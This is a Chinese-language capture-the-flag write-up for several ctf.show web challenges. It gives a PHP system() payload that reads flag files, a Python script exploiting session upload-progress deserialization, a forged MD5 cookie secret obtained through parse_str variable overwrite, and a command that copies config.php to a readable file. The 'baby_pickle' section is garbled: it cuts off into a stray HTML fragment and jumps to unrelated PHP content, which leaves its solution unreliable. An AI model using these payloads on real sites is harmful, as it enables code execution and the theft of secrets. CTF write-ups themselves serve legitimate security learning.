easy_eval

利用script标签绕过
code=system("cat /f*");
不过只有php5可以用

剪刀石头布

考查session反序列化漏洞。
不同的session处理器会导致反序列化漏洞,具体的可以参考下这篇文章
https://www.jb51.net/article/107101.htm
题目中通过ini_set将session的处理器改为了php,而在phpinfo中可以看到默认的为
php_serialize

另外需要注意的点就是session.upload_progress_cleanup为off,也就是说我们通过session.upload_progess强制上传session文件,不会被清理掉,那么直接上传再来调用该session文件就可以触发反序列化了。

payload

import requests url="http://cd46b01d-0aa7-4f0a-aa0e-8b3eced09e93.challenge.ctf.show/"sess="yu22x"data={'PHP_SESSION_UPLOAD_PROGRESS':'|O:4:"Game":1:{s:3:"log";s:22:"/var/www/html/flag.php";}'}files={'file':'1'}r = requests.post(url,data=data,files=files,cookies={'PHPSESSID':'yu22x'})print(r.text)

baby_pickle

本地搭一下就很容易看出来了。
假设我们首先存入一个name为abc的用户,在对其进行更改时,可以看到本地打印出的数据

只要把这个地方改成0,然后访问/dacaiji” />
可以看到其实没有覆盖掉$config['secret']
所以md5('admin'.$config['secret']):是个固定值da53eb34c1bc6ce7bbfcedf200148106
直接改完cookie然后post传cmd就可以了
cmd=cat config.php >a.txt
预期解就是parse_str变量覆盖了
config[secret]=yu22x

cookie: secret=3601e2335c93b2404eab1319d0f4d4a3

cmd=cat config.php >a.txt